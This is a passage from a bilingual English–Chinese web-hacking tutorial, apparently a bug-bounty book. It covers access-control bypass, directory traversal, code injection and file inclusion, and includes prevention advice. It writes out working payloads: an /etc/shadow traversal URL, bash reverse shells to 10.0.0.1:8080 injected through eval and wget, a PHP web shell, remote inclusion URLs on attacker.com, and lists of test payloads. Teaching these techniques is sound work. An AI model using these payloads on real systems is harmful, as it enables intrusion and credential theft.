有时，应用程序在访问其敏感功能的各种方式上可能没有实现相同的访问控制机制。比如说，管理员面板被适当地保护，只有持有有效管理员凭证的人才能访问。但是，如果请求来自机器信任的内部 IP 地址，管理员面板就不会要求用户进行身份验证。在这种情况下，如果攻击者能够找到 SSRF 漏洞并发送内部请求，他们就能够在不进行身份验证的情况下访问管理员面板。

Attackers might also be able to bypass access control by tampering with cookies or request headers if they’re predictable. Let’s say the admin panel doesn’t ask for credentials as long as the user requesting access presents the cookie admin=1 in their HTTP request. All the attacker has to do to bypass this control is to add the cookie admin=1 to their requests.

攻击者如果能够预测，也可以通过篡改cookie或者请求头来绕过访问控制。比如，假设管理员面板只要求用户在HTTP请求中携带名为admin=1的cookie，就可以直接访问，而无需验证凭据。攻击者只需将cookie admin=1添加到其请求中，就能够绕过此控制。

Finally, another common access control issue occurs when users can force their browsing past the access control points. To understand what this means, let’s say the usual way of accessing example.com ’s admin panel is via the URL https://example.com/YWRtaW4/admin.php . If you browse to that URL, you’ll be prompted to log in with your credentials. After that, you’ll be redirected to https://example.com/YWRtaW4/dashboard.php , which is where the admin panel resides. Users might be able to browse to https://example.com/YWRtaW4/dashboard.php and directly access the admin panel, without providing credentials, if the application doesn’t implement access control at the dashboard page.

最后，另一个常见的访问控制问题是用户可以强制浏览器绕过访问控制点。为了理解这意味着什么，假设访问example.com的管理员面板的通常方法是通过URL https://example.com/YWRtaW4/admin.php。如果您浏览到该URL，您将被提示使用凭据登录。之后，您将被重定向到https://example.com/YWRtaW4/dashboard.php，其中管理员面板位于该处。如果应用程序不在仪表板页面实施访问控制，则用户可能能够浏览到https://example.com/YWRtaW4/dashboard.php并直接访问管理员面板，而无需提供凭据。

Directory Traversal Vulnerabilities

Directory traversal vulnerabilities are another type of broken access control. They happen when attackers can view, modify, or execute files they shouldn’t have access to by manipulating filepaths in user-input fields.

目录遍历漏洞是另一种破损的访问控制类型。攻击者可以通过操纵用户输入字段中的文件路径来查看、修改或执行他们本不应该访问的文件。

Let’s say example.com has a functionality that lets users access their uploaded files. Browsing to the URL http://example.com/uploads?file=example.jpeg will cause the application to display the file named example.jpeg in the user’s uploads folder located at /var/www/html/uploads/USERNAME/ .

假设Example.com有一项功能，让用户可以访问他们上传的文件。浏览URL http://example.com/uploads?file=example.jpeg 将导致应用程序在用户的上传文件夹中显示名为example.jpeg的文件，该文件夹位于 /var/www/html/uploads/ USERNAME/路径下。

If the application doesn’t implement input sanitization on the file parameter, a malicious user could use the sequence ../ to escape out of the uploads folder and read arbitrary files on the system. The ../ sequence refers to the parent directory of the current directory on Unix systems. For instance, an attacker could use this request to access the /etc/shadow file on the system:

如果应用程序没有对文件参数执行输入清理，则恶意用户可以使用序列../来逃脱上传文件夹并在系统上读取任意文件。../序列指Unix系统上当前目录的父目录。例如，攻击者可以使用此请求访问系统上的/etc/shadow文件。

http://example.com/upload?file=../../../../../etc/shadow

The page would navigate to /var/www/html/uploads/USERNAME/../../../../../etc/shadow , which points to the /etc/shadow file at the system root! In Linux systems, the /etc/shadow file contains the hashed passwords of system users. If the user running the web server has the permissions to view this file, the attacker could now view it too. They could then crack the passwords found in this file to gain access to privileged users’ accounts on the system. Attackers might also gain access to sensitive files like configuration files, log files, and source code.

该页面将导航到/var/www/html/uploads/USERNAME/../../../../../etc/shadow，该文件指向系统根路径下的/etc/shadow文件！在Linux系统中，/etc/shadow文件包含系统用户的哈希密码。如果运行Web服务器的用户具有查看此文件的权限，则攻击者也可以查看该文件。然后，他们可以破解在该文件中找到的密码以访问系统上的特权用户帐户。攻击者还可能获得访问敏感文件（如配置文件、日志文件和源代码）的权限。

Prevention

You can prevent application logic errors by performing tests to verify that the application’s logic is working as intended. This is best done by someone who understands both the business requirements of the organization and the development process of the application. You’ll need a detailed understanding of how your application works, how users interact with each other, how functionalities are carried out, and how complex processes work.

通过执行测试来验证应用程序的逻辑是否按预期工作，您可以预防应用程序逻辑错误。最好由既了解组织业务需求又熟悉应用程序开发过程的人员执行此项任务。你需要对应用程序的工作原理，用户之间的互动方式，功能的开展方式以及复杂过程的运作方式有详尽的了解。

Carefully review each process for any logical flaws that might lead to a security issue. Conduct rigorous and routine testing against each functionality that is critical to the application’s security.

仔细检查每个过程是否存在逻辑缺陷，可能会导致安全问题。对于应用的安全至关重要的每个功能进行严密和常规测试。

Next, prevent broken access control issues with a variety of countermeasures. First, implement granular access control policies on all files and actions on a system. The code that implements the access control policies should also be audited for potential bypasses. You can conduct a penetration test to try to find holes in the access policy or its implementation. Make sure that access control policies are accurate. Also, make sure that the multiple ways of accessing a service have consistent access control mechanisms. For example, it shouldn’t matter whether the application is accessed via a mobile device, desktop device, or API endpoint. The same authentication requirements, such as MFA, should apply for every individual access point.

接下来，使用多种对策来防止破解访问控制问题。首先，在系统中对所有文件和操作实施细粒度访问控制策略。实施访问控制策略的代码还应受到潜在绕过漏洞的审计。您可以进行渗透测试，尝试找到访问策略或其实现中的漏洞。确保访问控制策略准确无误。同时，确保访问服务的多种方式具有一致的访问控制机制。例如，无论是通过移动设备、桌面设备还是API端点访问应用程序，都应该应用相同的身份认证要求，如MFA。

Hunting for Application Logic Errors and Broken Access Control

Application logic errors and access control issues are some of the easiest bugs for beginners to find. Hunting for these vulnerabilities doesn’t involve tampering with code or crafting malicious inputs; instead, it requires creative thinking and a willingness to experiment.

应用逻辑错误和访问控制问题是初学者最容易发现的漏洞之一。寻找这些漏洞并不涉及篡改代码或制作恶意输入；相反，它需要创造性思维和愿意尝试的精神。

Step 1: Learn About Your Target

Start by learning about your target application. Browse the application as a regular user to uncover functionalities and interesting features. You can also read the application’s engineering blogs and documentation. The more you understand about the architecture, development process, and business needs of that application, the better you will be at spotting these vulnerabilities.

开始学习您的目标应用程序。像普通用户一样浏览应用程序，以发现功能和有趣的特点。您还可以阅读应用程序的工程博客和文档。您对该应用程序的架构、开发流程和业务需求的了解越多，就越能发现这些漏洞。

For example, if you find out that the application just added a new payment option for its online store, you can test that payment option first since new features are often the least tested by other hackers. And if you find out that the application uses WordPress, you should try to access /wp-admin/admin.php , the default path for WordPress admin portals.

例如，如果你发现这个应用程序刚刚为其在线商店添加了一种新的支付选项，你可以先测试这个支付选项，因为新功能往往是其他黑客测试最少的。而如果你发现这个应用程序使用WordPress，你应该尝试访问/wp-admin/admin.php，这是WordPress管理门户的默认路径。

Step 2: Intercept Requests While Browsing

Intercept requests while browsing the site and pay attention to sensitive functionalities. Keep track of every request sent during these actions. Take note of how sensitive functionalities and access control are implemented, and how they interact with client requests. For the new payment option you found, what are the requests needed to complete the payment? Do any request parameters indicate the payment type or how much will be charged? When accessing the admin portal at /wp-admin/admin.php , are any special HTTP headers or parameters sent?

在浏览网站时拦截请求并注意敏感功能。 跟踪在这些操作期间发送的每个请求。 注意敏感功能和访问控制是如何实现以及如何与客户端请求交互的。 对于您找到的新付款选项，完成付款所需的请求是什么？ 任何请求参数是否指示付款类型或将收取多少费用？ 访问 /wp-admin/admin.php 的管理员门户时，是否发送任何特殊的HTTP标头或参数？

Step 3: Think Outside the Box

Finally, use your creativity to think of ways to bypass access control or otherwise interfere with application logic. Play with the requests that you have intercepted and craft requests that should not be granted. If you modify the amount to be charged in a request parameter, will the application still process the transaction while charging you a lower amount? Can you switch the payment type to a gift card even though you don’t have one? Can you access the admin page by adding a special cookie, such as admin=1 ?

最后，利用你的创造力想出绕过访问控制或干扰应用逻辑的方法。玩弄你拦截到的请求，并创建本不该被授权的请求。例如，如果你修改请求中的金额参数，应用程序仍会处理该交易并向你收取更少的费用吗？即使没有礼品卡，你能否将支付类型切换为礼品卡？你能否通过添加特殊的 cookie（例如admin=1）访问管理员页面？

Escalating the Attack

Escalating application logic errors and broken access control depends entirely on the nature of the flaw you find. But a general rule of thumb is that you can try to combine the application logic error or broken access control with other vulnerabilities to increase their impact.

不断升级的应用逻辑错误和破损的访问控制完全取决于您发现的缺陷性质。但是一个通常的经验法则是，您可以尝试将应用程序逻辑错误或破损的访问控制与其他漏洞相结合，以增加它们的影响力。

For example, a broken access control that gives you access to the admin panel with a console or application deployment capabilities can lead to remote code execution. If you can find the configuration files of a web application, you can search for CVEs that pertain to the software versions in use to further compromise the application. You might also find credentials in a file that can be used to access different machines on the network.

例如，破坏了访问控制的漏洞会使您通过控制台或应用程序部署功能访问管理员面板，从而导致远程代码执行。如果您可以找到 Web 应用程序的配置文件，则可以搜索适用于所使用软件版本的 CVE，以进一步破坏该应用程序。您还可以在文件中找到凭证，以用于访问网络上的不同计算机。

While the impact of a vulnerability like SQL injection or stored XSS is often clear, it isn’t always apparent what attackers can achieve with application logic errors and broken access control vulnerabilities. Think of ways malicious users can exploit these vulnerabilities to the fullest extent, and communicate their impact in detail in your report.

虽然像SQL注入或存储的XSS这样的漏洞带来的影响往往是明显的，但攻击者利用应用逻辑错误和破损的访问控制漏洞所能达到的目的并不总是显然的。请考虑恶意用户如何充分利用这些漏洞，并在报告中详细描述它们的影响。

Finding Your First Application Logic Error or Broken Access Control!

Find your very first application logic error or broken access control vulnerability by using the tips you learned in this chapter:

使用本章学到的技巧查找您的首个应用程序逻辑错误或破坏访问控制漏洞。

Learn about your target application. The more you understand about the architecture and development process of the web application, the better you’ll be at spotting these vulnerabilities.

Intercept requests while browsing the site and pay attention to sensitive functionalities. Keep track of every request sent during these actions.

Use your creativity to think of ways to bypass access control or otherwise interfere with application logic.

Think of ways to combine the vulnerability you’ve found with other vulnerabilities to maximize the potential impact of the flaw.

Draft your report! Be sure to communicate to the receiver of the report how the issue could be exploited by malicious users.

18
Remote Code Execution

Remote code execution ( RCE) occurs when an attacker can execute arbitrary code on a target machine because of a vulnerability or misconfiguration. RCEs are extremely dangerous, as attackers can often ultimately compromise the web application or even the underlying web server.

远程代码执行（RCE）是指由于漏洞或配置错误，攻击者能够在目标计算机上执行任意代码。 RCE非常危险，因为攻击者通常可以最终破坏Web应用程序甚至基础Web服务器。

There is no singular technique for achieving RCE. In previous chapters, I noted that attackers can achieve it via SQL injection, insecure deserialization, and template injection. In this chapter, we’ll discuss two more strategies that may allow you to execute code on a target system: code injection and file inclusion vulnerabilities.

没有一种单一的技术可以实现RCE。在之前的章节中，我指出攻击者可以通过SQL注入、不安全的反序列化和模板注入来实现。在这一章中，我们将讨论另外两种策略，可能允许你在目标系统上执行代码：代码注入和文件包含漏洞。

Before we go on, keep in mind that developing RCE exploits often requires a deeper understanding of programming, Linux commands, and web application development. You can begin to work toward this once you get the hang of finding simpler vulnerabilities.

在我们继续之前，请记住，开发RCE漏洞通常需要更深入的编程，Linux命令和Web应用程序开发的理解。一旦您掌握了查找更简单漏洞的方法，就可以开始朝着这个方向努力。

Mechanisms

Sometimes attackers can achieve RCE by injecting malicious code directly into executed code. These are code injection vulnerabilities . Attackers can also achieve RCE by putting malicious code into a file executed or included by the victim application, vulnerabilities called file inclusions .

有时攻击者可以通过将恶意代码直接注入执行代码来实现RCE。这些是代码注入漏洞。攻击者还可以通过将恶意代码放置在被受害应用程序执行或包含的文件中实现RCE，这些漏洞称为文件包含。

Code Injection

Code injection vulnerabilities happen when applications allow user input to be confused with executable code. Sometimes this happens unintentionally, when applications pass unsanitized data into executed code; other times, this is built into the application as an intentional feature.

当应用程序允许用户输入与可执行代码混淆时，就会发生代码注入漏洞。有时，当应用程序将未经过滤的数据传入执行的代码时，这种情况是无意的；而其他时候，这是应用程序中有意的一个功能。

For example, let’s say you’re a developer trying to build an online calculator. Python’s eval() function accepts a string and executes it as Python code: eval("1+1") would return 2 , and eval("1*3") would return 3 . Because of its flexibility in evaluating a wide variety of user-submitted expressions, eval() is a convenient way of implementing your calculator. As a result, say you wrote the following Python code to perform the functionality. This program will take a user-input string, pass it through eval() , and return the results:

例如，假设你是一位开发者试图构建一个在线计算器。Python 的 eval() 函数接受一个字符串并将其作为 Python 代码执行：eval("1+1") 会返回 2，eval("1*3") 会返回 3。由于其在评估各种用户提交的表达式方面的灵活性，eval() 是实现计算器的便捷方式。因此，假设你编写了以下 Python 代码来执行功能。此程序将接受用户输入的字符串，通过 eval() 进行传递，并返回结果。

def calculate(input):
  return eval("{}".format(input))

result = calculate(user_input.calc)
print("The result is {}.".format(result))

Users can send operations to the calculator by using the following GET request. When operating as expected, the following user input would output the string The result is 3 :

用户可以通过以下GET请求向计算器发送操作。当操作按预期进行时，以下用户输入将输出字符串“结果为3：”。

GET /calculator?calc=1+2
Host: example.com

But since eval() in this case takes user-provided input and executes it as Python code, an attacker could provide the application with something more malicious instead. Remember Python’s os.system() command from Chapter 16 , which executes its input string as a system command? Imagine an attacker submitted the following HTTP request to the calculate() function:

但是，由于在这种情况下eval()接受用户提供的输入并将其作为Python代码执行，攻击者可能会提供更加恶意的内容给应用程序。还记得第16章中介绍的Python的os.system()命令吗？它会将其输入字符串作为系统命令执行。想象一下，如果攻击者向calculate()函数提交了以下HTTP请求：

GET /calculator?calc="__import__('os').system('ls')"
Host: example.com

As a result, the program would execute eval("__import__('os').system('ls')") and return the results of the system command ls . Since eval() can be used to execute arbitrary code on the system, if you pass unsanitized user-input into the eval() function, you have introduced a code injection vulnerability to your application.

因此，该程序将执行 eval("__import__('os').system('ls')") 并返回系统命令 ls 的结果。由于 eval() 可以用于在系统上执行任意代码，如果将未经过滤的用户输入传递到 eval() 函数中，就会为应用程序引入代码注入漏洞。

The attacker could also do something far more damaging, like the following. This input would cause the application to call os.system() and spawn a reverse shell back to the IP 10.0.0.1 on port 8080:

攻击者还可以进行更具破坏性的操作，比如以下内容。这个输入会导致应用程序调用os.system()函数，在端口8080上产生一个反向shell回到10.0.0.1的IP地址。

GET /calculator?calc="__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1')"
Host: example.com

A reverse shell makes the target server communicate with the attacker’s machine and establish a remotely accessible connection allowing attackers to execute system commands.

一个反向 shell 使目标服务器与攻击者的计算机通信并建立一个远程可访问的连接，使攻击者能够执行系统命令。

Another variant of code injection occurs when user input is concatenated directly into a system command. This is also called a command injection vulnerability . Aside from happening in web applications, command injections are also incredibly prevalent in embedded web applications because of their dependency on shell commands and frameworks using wrappers that execute shell commands.

当用户输入直接连接到系统命令时，会发生另一种代码注入变体。这也被称为命令注入漏洞。除了在Web应用程序中发生外，命令注入在嵌入式Web应用程序中也非常普遍，因为它们依赖于Shell命令和使用执行Shell命令的包装器的框架。

Let’s say example.com also has a functionality that allows you to download a remote file and view it on the website. To achieve this functionality, the application uses the system command wget to download the remote file:

假设example.com也具有一个功能，允许您在网站上下载远程文件并查看。为了实现这个功能，应用程序使用系统命令wget来下载远程文件。

import os

def download(url):
  os.system("wget -O- {}".format(url))

display(download(user_input.url))

The wget command is a tool that downloads web pages given a URL, and the -O- option makes wget download the file and display it in standard output. Put together, this program takes a URL from user input and passes it into the wget command executed using os.system() . For example, if you submit the following request, the application would download the source code of Google’s home page and display it to you:

"wget" 命令是一个工具，可以通过给定 URL 下载网页。而 "-O-" 选项使 wget 下载文件并将其显示在标准输出中。综合起来，该程序将用户输入的 URL 传递给 os.system() 执行的 wget 命令。例如，如果您提交以下请求，应用程序将下载 Google 主页的源代码并将其显示给您：

GET /download?url=google.com
Host: example.com

Since the user input is passed into a system command directly, attackers could inject system commands without even using a Python function. That’s because, on the Linux command line, the semicolon ( ; ) character separates individual commands, so an attacker could execute arbitrary commands after the wget command by submitting whatever command they want after a semicolon. For instance, the following input would cause the application to spawn a reverse shell back to the IP 10.0.0.1 on port 8080:

由于用户输入直接传递到系统命令中，攻击者甚至可以在不使用Python函数的情况下注入系统命令。这是因为，在Linux命令行上，分号（;）字符将单个命令分隔开，因此攻击者可以在分号后提交所需的任何命令，以执行任意命令。例如，以下输入将使应用程序在端口8080上向IP 10.0.0.1反向生成shell：

GET /download?url="google.com;bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"
Host: example.com

File Inclusion

Most programming languages have functionality that allows developers to include external files to evaluate the code contained within it. This is useful when developers want to incorporate external asset files like images into their applications, make use of external code libraries, or reuse code that is written for a different purpose.

大多数编程语言都具有功能，允许开发人员包含外部文件以评估其中包含的代码。当开发人员希望将外部资产文件如图像合并到应用程序中，利用外部代码库或重用为不同目的编写的代码时，这非常有用。

Another way attackers can achieve RCE is by making the target server include a file containing malicious code. This file inclusion vulnerability has two subtypes: remote file inclusion and local file inclusion.

攻击者可以通过使目标服务器包含恶意代码的文件来实现RCE的另一种方式。这种文件包含漏洞有两种子类型：远程文件包含和本地文件包含。

Remote file inclusion vulnerabilities occur when the application allows arbitrary files from a remote server to be included. This happens when applications dynamically include external files and scripts on their pages and use user input to determine the location of the included file.

远程文件包含漏洞发生在应用程序允许从远程服务器包含任意文件的情况下。当应用程序在其页面上动态包含外部文件和脚本并使用用户输入确定所包含文件的位置时，就会发生这种情况。

To see how this works, let’s look at a vulnerable application. The following PHP program calls the PHP include function on the value of the user-submitted HTTP GET parameter page . The include function then includes and evaluates the specified file:

为了了解这个如何工作，让我们来看一个易受攻击的应用程序。以下的PHP程序通过值为用户提交的HTTP GET参数“page”的PHP include函数来调用。然后，include函数将包括并评估指定的文件：

<?php
  // Some PHP code

  $file = $_GET["page"];
  include $file;

  // Some PHP code
?>

This code allows users to access the various pages of the website by changing the page parameter. For example, to view the site’s Index and About pages, the user can visit http://example.com/?page=index.php and http://example.com/?page=about.php , respectively.

该代码允许用户通过更改页面参数来访问网站的各个页面。例如，要查看网站的主页和关于页面，用户可以分别访问http://example.com/?page=index.php和http://example.com/?page=about.php。

But if the application doesn’t limit which file the user includes with the page parameter, an attacker can include a malicious PHP file hosted on their server and get that executed by the target server.

如果应用程序不限制用户使用页面参数包含的文件，攻击者可以在其服务器上包含恶意PHP文件并通过目标服务器执行它。

In this case, let’s host a PHP page named malicious.php that will execute the string contained in the URL GET parameter cmd as a system command. The system() command in PHP is similar to os.system() in Python. They both execute a system command and display the output. Here is the content of our malicious PHP file:

在这种情况下，让我们托管一个名为malicious.php的PHP页面，该页面将执行URL GET参数cmd中包含的字符串作为系统命令。 PHP中的system（）命令类似于Python中的os.system（）。它们都执行系统命令并显示输出。以下是我们恶意PHP文件的内容：

<?PHP
  system($_GET["cmd"]);
?>

If the attacker loads this page on example.com , the site will evaluate the code contained in malicious.php located on the attacker’s server. The malicious script will then make the target server execute the system command ls :

如果攻击者在example.com上加载此页面，则该站点将评估包含在攻击者服务器上的恶意.php中的代码。 恶意脚本然后将使目标服务器执行系统命令ls。

http://example.com/?page=http://attacker.com/malicious.php?cmd=ls

Notice that this same feature is vulnerable to SSRF and XSS too. This endpoint is vulnerable to SSRF because the page could load info about the local system and network. Attackers could also make the page load a malicious JavaScript file and trick the user into clicking it to execute a reflected XSS attack.

请注意，相同的功能也容易受到SSRF和XSS的攻击。此端点易受SSRF攻击，因为页面可以加载有关本地系统和网络信息的页面。攻击者还可以让页面加载恶意JavaScript文件，并诱使用户单击它以执行反射性XSS攻击。

On the other hand, local file inclusions happen when applications include files in an unsafe way, but the inclusion of remote files isn’t allowed. In this case, attackers need to first upload a malicious file to the local machine, and then execute it by using local file inclusion. Let’s modify our previous example a bit. The following PHP file first gets the HTTP GET parameter page and then calls the PHP include function after concatenating page with a directory name containing the files users can load:

另一方面，本地文件包含是指应用程序以不安全的方式包含文件，但不允许包含远程文件。 在这种情况下，攻击者需要首先将恶意文件上传到本地计算机，然后使用本地文件包含来执行它。 让我们稍微修改一下之前的示例。 以下PHP文件首先获取HTTP GET参数page，然后在将page与包含用户可加载的文件的目录名称连接后调用PHP include函数：

<?php
  // Some PHP code

  $file = $_GET["page"];
  include "lang/".$file;

  // Some PHP code
?>

The site’s lang directory contains its home page in multiple languages. For example, users can visit http://example.com/?page=de-index.php and http://example.com/?page=en-index.php to visit the German and English home pages, respectively. These URLs will cause the website to load the page /var/www/html/lang/de-index.php and /var/www/html/lang/en-index.php to display the German and English home pages.

该网站的 lang 目录包含多种语言的主页。例如，用户可以访问 http://example.com/?page=de-index.php 和 http://example.com/?page=en-index.php 分别访问德语和英语主页。这些 URL 将导致网站加载页面 /var/www/html/lang/de-index.php 和 /var/www/html/lang/en-index.php 来显示德语和英语主页。

In this case, if the application doesn’t place any restrictions on the possible values of the page parameter, attackers can load a page of their own by exploiting an upload feature. Let’s say that example.com allows users to upload files of all file types, then stores them in the /var/www/html/uploads/USERNAME directory. The attacker could upload a malicious PHP file to the uploads folder. Then they could use the sequence ../ to escape out of the lang directory and execute the malicious uploaded file on the target server:

如果应用程序不对页面参数的可能值施加任何限制，攻击者可以通过利用上传功能来加载自己的页面。例如，example.com允许用户上传所有文件类型，然后将它们存储在/var/www/html/uploads/用户名目录中。攻击者可以将恶意的PHP文件上传到上传文件夹中。然后他们可以使用../序列从lang目录中逃脱并在目标服务器上执行恶意上传的文件。

http://example.com/?page=../uploads/USERNAME/malicious.php

If the attacker loads this URL, the website will include the file /var/www/html/lang/../uploads/USERNAME/malicious.php , which points to /var/www/html/uploads/USERNAME/malicious.php .

如果攻击者加载此URL，则网站将包含文件/var/www/html/lang/../uploads/USERNAME/malicious.php，该文件指向/var/www/html/uploads/USERNAME/malicious.php。

Prevention

To prevent code injections, you should avoid inserting user input into code that gets evaluated. Also, since user input can be passed into evaluated code through files that are parsed by the application, you should treat user-uploaded files as untrusted, as well as protect the integrity of existing system files that your programs execute, parse, or include.

为了防止注入攻击，应避免将用户输入插入到将被评估的代码中。此外，由于用户输入可以通过应用程序解析的文件传递到评估的代码中，因此应将用户上传的文件视为不可信，并保护程序执行、解析或包含的现有系统文件的完整性。

And to prevent file inclusion vulnerabilities, you should avoid including files based on user input. If that isn’t possible, disallow the inclusion of remote files and create an allowlist of local files that your programs can include. You can also limit file uploads to certain safe file types and host uploaded files in a separate environment than the application’s source code.

为了防止文件包含漏洞，应避免基于用户输入包含文件。如果不可能，禁止包含远程文件，并创建一个白名单，其中包含您的程序可以包含的本地文件。您还可以将文件上传限制为某些安全文件类型，并将上传的文件托管在应用程序源代码的不同环境中。

Also avoid calling system commands directly and use the programming language’s system APIs instead. Most programming languages have built-in functions that allow you to run system commands without risking command injection. For instance, PHP has a function named mkdir( DIRECTORY_NAME ) . You can use it to create new directories instead of calling system("mkdir DIRECTORY_NAME ") .

避免直接调用系统命令，而是使用编程语言的系统API。大多数编程语言都内置了函数，允许您运行系统命令而不会有命令注入的风险。例如，PHP有一个名为mkdir（DIRECTORY_NAME）的函数。您可以使用它来创建新目录，而不是调用system（"mkdir DIRECTORY_NAME"）。

You should implement strong input validation for input passed into dangerous functions like eval() or include() . But this technique cannot be relied on as the only form of protection, because attackers are constantly coming up with inventive methods to bypass input validation.

你应该在诸如eval()或include()等危险函数传入的输入上实施强输入验证。但是，这种技术不能作为唯一的保护形式，因为攻击者不断想出新的方法来绕过输入验证。

Finally, staying up-to-date with patches will prevent your application’s dependencies from introducing RCE vulnerabilities. An application’s dependencies, such as open source packages and components, often introduce vulnerabilities into an application. This is also called a software supply chain attack .

最后，保持补丁程序最新将防止您的应用程序依赖项引入RCE漏洞。 应用程序的依赖项，例如开源软件包和组件，通常会引入应用程序漏洞。 这也被称为软件供应链攻击。

You can also deploy a web application firewall ( WAF) to block suspicious attacks. Besides preventing RCEs, this could also help prevent some of the vulnerabilities I’ve discussed earlier in this book, such as SQL injection and XSS.

你也可以部署Web应用防火墙（WAF）来阻止可疑攻击。除了防止RCE，这还可以帮助防止我在本书中讨论过的一些漏洞，例如SQL注入和XSS。

If an attacker does achieve RCE on a machine, how could you minimize the harm they can cause? The principle of least privilege states that applications and processes should be granted only the privileges required to complete their tasks. It is a best practice that lowers the risk of system compromise during an attack because attackers won’t be able to gain access to sensitive files and operations even if they compromise a low-privileged user or process. For example, when a web application requires only read access to a file, it shouldn’t be granted any writing or execution permissions. That’s because, if an attacker hijacks an application that runs with high privilege, the attacker can gain its permissions.

如果攻击者在一台计算机上实现了RCE，您可以如何减少他们可能造成的危害？最小权限原则表明，应仅授予应用程序和进程完成其任务所需的权限。这是一种最佳实践，可在攻击期间降低系统遭受妥协的风险，因为即使攻击者入侵了低权限用户或进程，他们也无法访问敏感文件和操作。例如，当Web应用程序仅需要读取文件时，不应授予任何写入或执行权限。这是因为，如果攻击者劫持以高权限运行的应用程序，则攻击者可以获得其权限。

Hunting for RCEs

Like many of the attacks we’ve covered thus far, RCEs have two types: classic and blind. Classic RCEs are the ones in which you can read the results of the code execution in a subsequent HTTP response, whereas blind RCEs occur when the malicious code is executed but the returned values of the execution do not appear in any HTTP response. Although attackers cannot witness the results of their executions, blind RCEs are just as dangerous as classic RCEs because they can enable attackers to spawn reverse shells or exfiltrate data to a remote server. Hunting for these two types of RCE is a similar process, but the commands or code snippets you’ll need to use to verify these vulnerabilities will differ.

正如我们之前所介绍的攻击一样，RCEs 也有两种类型: 经典和盲目的。经典 RCEs 是指在随后的 HTTP 响应中可以读取代码执行的结果，而盲目 RCEs 是指虽然执行了恶意代码，但是执行的返回值不会出现在任何 HTTP 响应结果中。尽管攻击者无法看到执行结果，但盲目 RCEs 与经典 RCEs 一样危险，因为它们可以使攻击者生成反向 shell 或向远程服务器外泄数据。寻找这两种类型的 RCEs 的过程是相似的，但用于验证这些漏洞的命令或代码段将有所不同。

Here are some commands you can use when attacking Linux servers. When hunting for a classic RCE vulnerability, all you need to do to verify the vulnerability is to execute a command such as whoami , which outputs the username of the current user. If the response contains the web server’s username, such as www-data , you’ve confirmed the RCE, as the command has successfully run. On the other hand, to validate a blind RCE, you’ll need to execute a command that influences system behavior, like sleep 5 , which delays the response by five seconds. Then if you experience a five-second delay before receiving a response, you can confirm the vulnerability. Similar to the blind techniques we used to exploit other vulnerabilities, you can also set up a listener and attempt to trigger out-of-band interaction from the target server.

这里是攻击Linux服务器时可用的一些命令。在寻找传统的RCE漏洞时，您只需要执行一个命令，如whoami，它会输出当前用户的用户名来验证漏洞。如果响应中包含Web服务器的用户名，例如www-data，则已确认RCE，因为命令已成功运行。另一方面，要验证盲目RCE，您需要执行影响系统行为的命令，如sleep 5，它会将响应延迟五秒钟。然后，如果您在接收到响应之前经历了五秒钟的延迟，您可以确认漏洞。与我们用来利用其他漏洞的盲目技术类似，您还可以设置侦听器并尝试触发来自目标服务器的带外交互。

Step 1: Gather Information About the Target

The first step to finding any vulnerability is to gather information about the target. When hunting for RCEs, this step is especially important because the route to achieving an RCE is extremely dependent on the way the target is built. You should find out information about the web server, programming language, and other technologies used by your current target. Use the recon steps outlined in Chapter 5 to do this.

寻找漏洞的第一步是收集有关目标的信息。寻找RCE时，这一步尤其重要，因为实现RCE的路径极大程度上取决于目标的构建方式。您应该了解有关当前目标使用的Web服务器、编程语言和其他技术的信息。请使用第5章中概述的侦察步骤来完成。

Step 2: Identify Suspicious User Input Locations

As with finding many other vulnerabilities, the next step to finding any RCE is to identify the locations where users can submit input to the application. When hunting for code injections, take note of every direct user-input location, including URL parameters, HTTP headers, body parameters, and file uploads. Sometimes applications parse user-supplied files and concatenate their contents unsafely into executed code, so any input that is eventually passed into commands is something you should look out for.

与发现其他漏洞一样，找到RCE的下一步是确定用户可以向应用程序提交输入的位置。在寻找代码注入时，要注意每个直接的用户输入位置，包括URL参数，HTTP头，正文参数和文件上传。有时，应用程序会解析用户提供的文件并不安全地将其内容连接到执行的代码中，因此您应该注意任何最终传递到命令中的输入。

To find potential file inclusion vulnerabilities, check for input locations being used to determine filenames or paths, as well as any file-upload functionalities in the application.

检查输入位置是否用于确定文件名或路径，以及应用程序中的任何文件上传功能，以查找潜在的文件包含漏洞。

Step 3: Submit Test Payloads

The next thing you should do is to submit test payloads to the application. For code injection vulnerabilities, try payloads that are meant to be interpreted by the server as code and see if they get executed. For example, here’s a list of payloads you could use:

接下来你需要做的事情是向应用程序提交测试负载。对于代码注入漏洞，试试那些被服务器解释为代码的负载，并看它们是否被执行。例如，以下是你可以使用的负载列表：

Python payloads

Python负载

This command is designed to print the string RCE test! if Python execution succeeds:

如果Python执行成功，则此命令旨在打印字符串'RCE测试！'：

print("RCE test!")

This command prints the result of the system command ls :

这个命令将打印出系统命令 `ls` 的结果：

"__import__('os').system('ls')"

This command delays the response for 10 seconds:

这个命令会将响应延迟10秒钟：

"__import__('os').system('sleep 10')"

PHP payloads

PHP载荷

This command is designed to print the local PHP configuration information if execution succeeds:

如果执行成功，该命令旨在打印本地PHP配置信息。

phpinfo();

This command prints the result of the system command ls :

该命令打印系统命令“ls”的结果：这个命令打印出“ls”命令的结果。

<?php system("ls");?>

This command delays the response for 10 seconds:

这个命令会延迟回应10秒钟：

<?php system("sleep 10");?>

Unix payloads

Unix载荷

This command prints the result of the system command ls :

该命令会打印系统命令“ls”的结果：

;ls;

These commands delay the response for 10 seconds:

这些命令会延迟10秒钟的响应：

| sleep 10;
& sleep 10;
` sleep 10;`
$(sleep 10)

For file inclusion vulnerabilities, you should try to make the endpoint include either a remote file or a local file that you can control. For example, for remote file inclusion, you could try several forms of a URL that points to your malicious file hosted offsite:

对于文件包含漏洞，您应该尝试使终端点包含一个远程文件或本地文件，您可以控制。例如，对于远程文件包含，您可以尝试多种形式的URL，指向您位于外部托管的恶意文件。

http://example.com/?page=http://attacker.com/malicious.php
http://example.com/?page=http:attacker.com/malicious.php

And for local file inclusion vulnerabilities, try different URLs pointing to local files that you control:

尝试不同的指向您控制的本地文件的URL，以处理本地文件包含漏洞问题：

http://example.com/?page=../uploads/malicious.php
http://example.com/?page=..%2fuploads%2fmalicious.php

You can use the protection-bypass techniques you learned in Chapter 13 to construct different forms of the same URL.

你可以使用第13章中学到的保护绕过技巧来构建同一URL的不同形式。

Step 4: Confirm the Vulnerability

Finally, confirm the vulnerability by executing harmless commands like whoami , ls , and sleep 5 .

最后，通过执行无害命令（例如whoami、ls和sleep 5）来确认漏洞。

Escalating the Attack

